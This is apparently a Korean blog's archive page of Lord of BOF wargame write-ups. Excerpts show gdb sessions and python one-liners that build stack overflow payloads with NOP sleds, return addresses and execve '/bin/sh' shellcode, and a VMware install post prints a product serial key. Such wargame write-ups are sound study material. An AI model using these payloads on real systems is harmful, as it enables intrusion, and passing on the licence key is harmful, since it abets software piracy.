일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
31 |
- kosis
- argv
- 써니나타스
- pythoncli
- pyinstaller
- 쉘코드
- pythonexe
- wolfman to darkelf
- lob 7번
- 데이터형
- 마크업 언어
- R언어
- anxi0
- kostat
- 포너블
- troll to
- 써니나타스 1번
- 범용레지스터 #레지스터 #어셈블리 #ASM #리버싱 #어셈블리어 #EAX #ESP
- 자료개방포털
- lob
- lob 9번
- argc
- 서니나타스
- 빅데이터
- mode함수
- 결측치
- ultra argv hunter
- orge to troll
- IS함수
- lob 10번
- Today
- Total
목록HACKING/[SYSTEM HACKING] LOB (20)
ANX1-Z3R0의 불안극복(不安克服)

argv[1]의 크기를 제한한다. 그럼 2에 넣으면 되지 스페이스바를 하나 쓱 밀어서 argv[2]에 nop sled와 공격코드를 넣자. 애초에 argv[]라는 게 배열이라서 스페이스 바 단위로 배열에 저장한다. 일단 넣고 보자. (gdb) b *main+242 (gdb) r `python -c 'print "\x90"*44+ "\xbf"*4 + " "+"\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` ret과 nop sled 사이에 공백하나 넣은 거 보이는가, 이게 argv[2]로 넘어가게 만드는 키다. 뭔 말인지 잘 모르겠다면, c언어 cli 프로그..

바로 한번 까보자. 코드는 전과 비슷한데, buffer hunter라고 해서 buffer를 비워버리는 부분이 추가 되었다. 상관없다. 왜? 우리는 ret뒤에 쉘코드를 넣는 기교를 이미 알고 있으니까! gdb로 ret할 주소만 알아내면 끝 (gdb) r `python -c 'print "\x90"*44 + "\xbf"*4 + "\x90"*30 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` 하고 덤프를 뜨면 \xbffffab0 부터의 nop sled에 기입하면 된다는 것을 알 수 있다. payload에 주소값만 바꿔서 본 파일에 실행하면 done. 정말 테크닉 하나 필요없..

바로 로그인하자. 문제는 orc.c, 버퍼크기도 알겠고, stdin도 아니고, 근데 egghunter는 뭐야? memset(메모리셋)을 하는데 environ의 개수만큼 길이만큼 0으로 만든다는 거잖아? environ(environment)가 뭐야, 환경이잖아? 환경변수를 초기화하는 파트인 것이다. 하지만? 원래 환경변수를 안쓰고 문제를 풀었기 때문에 그대로 공격하면 되겠고, 다음 조건 argv[1](내가 기입할 페이로드)의 47번째 글자가 \xbf가 아니면 스택이 친구라는 문장을 출력해준다. 음 그러면 디버깅할때 이 조건을 감안해야겠군. gdb로 바로 까보자. 뭐가 많다. enter로 넘어가면서 strcpy다음 instruction만 찾아서 bp를 걸자. 찾았다. (gdb) b *main+189 하던대로..

cobolt 로그인 완료! 시작해보자. 작은 버퍼에다가 stdin이라는 조건이 추가되었다. stdin이 뭐지? 실행해보자. >> ./goblin AAAAAAAAAAAAAAAAA쯤 해볼까 아무 동작이 없다. 애초에 계속보던 argc argv도 없다. cli프로그램이 아닌것이다. 프로그램이 실행되고 나서 입력값을 받는다? ./goblin `python ~~~`~~~는 안된다는 것이다. 다른 공격법이 필요하다. 일단 gdb로 까보자. >> mkdir test >> cp goblin test/ >> cd test >> gdb -q ./goblin (gdb) set disassembly-flavor intel (gdb) disas main gets가 취약점이니 실행되고 나서 next instruction인 mai..

cobolt를 한번 뚫어보자구 login: gremlin Password: hello bof world 문제 분석 ㄱㄱ 버퍼가 작은 문제이다. 큰일 났다. 쉘코드를 어디넣어서 실행시키지? 일단 gdb분석을 해보자. 어떻게든 방법이 나오겠지 전과 같이 test폴더를 만들어서 원래 파일을 복사해주고 gdb로 분석 시작 >>gdb -q ./cobolt (gdb) set disassembly-flavor intel (gdb) disas main 똑같이 strcpy가 문제이므로 strcpy 이후에 브레이크 포인트를 걸어서 공격을 수행한다. (gdb) b *main+53 아무 값이나 크게 넣어보자 (gdb) r `python -c 'print "A"*100'` 했더니... 웬걸 buffer+sfp+ret(24byt..

솔직히 처음 풀었을때는 잘 몰랐던 것들이 이제 좀 익숙해지니까 보이기 시작하더라. expert blind area를 파악하는 용도쯤으로 생각하고 이제는 제대로 문제를 파악하여 풀어보려 한다. gate 접속부터 하자. login : gate Password: gate gremlin실행 파일과 소스코드로 추정되는 파일이 하나 있다. cat으로 까보자 소스코드 내부이다. 256byte짜리 buffer를 생성, argv[1]으로 넣은 내용을 buffer에 삽입, 그 내용을 printf하는 내용이다. 여기서 취약한 부분은 밑줄친 strcpy로, 삽입할 글자의 수를 지정하지 않았다. BufferOverflow가 가능하다. gdb로 분석해보자. 우선 분석용 파일을 복사시킨다. (쓰기 권한이 없으므로) >>mkdir ..

Kali linux 나 Ubuntu, 둘다 데비안 게열로 비슷한 환경을 제공한다. 근데 기본제공 응용프로그램에서 확 차이가 난다. 애초에 목적 자체가 우분투는 서버 구동용, 칼리는 보안테스트용이라 성격자체가 다르다 당연히 칼리는 기본제공 소프트웨어가 많아서 무거운 편에속하고, 우분투는 사용하기가 쉽다.(UI/UX 굿) 따라서 해킹툴들을 일일히 깔기 귀찮으면 Kali, 가볍고 쉬운 UI를 원하면 Ubuntu를 많이 쓴다. 그럼 이제 Ubuntu를 왜 쓰는지는 알겠고, Ubuntu는 분명 18버전까지 나왔는데..... 왜 주니어 해커들은 Ubuntu16.04를 고집하느냐? 16에서 18로 바뀌면서 커널이 패치되었다. 따라서 바이너리 분석을 할 때, 결과가 다르게 나올 수 있다는 것이다. 16버전이 꽤 오래 ..

시스템 해킹할때 로컬로 이미지를 띄우기 위해서 우리는 가상머신이라는 걸 사용한다. 그 중에서 가장 유명한 VMware를 설치하는 방법에 대해서 알아보겠다. 여기로 들어가서 자신의 운영체제에 맞는 VMware를 설치한다 이거 Enhanced Driver 체크해주는게 좋다. 걍 귀찮으면 Next 계속 누르면 된다. 이윽고 이 창이 뜨는데, 오른쪽 아래 License버튼을 누르자 Serial key : UC7TH-2GG07-M80RY-FQXET-NL2YD 기입하고 엔터버튼 클릭 짠 (매우쉽다.) 다음시간엔 정보보안 입문가들이 굳이 Kali와 Ubuntu 18.04를 두고 Ubuntu 16.04를 까는지에 대해 알려주고 설치해보도록 하겠다.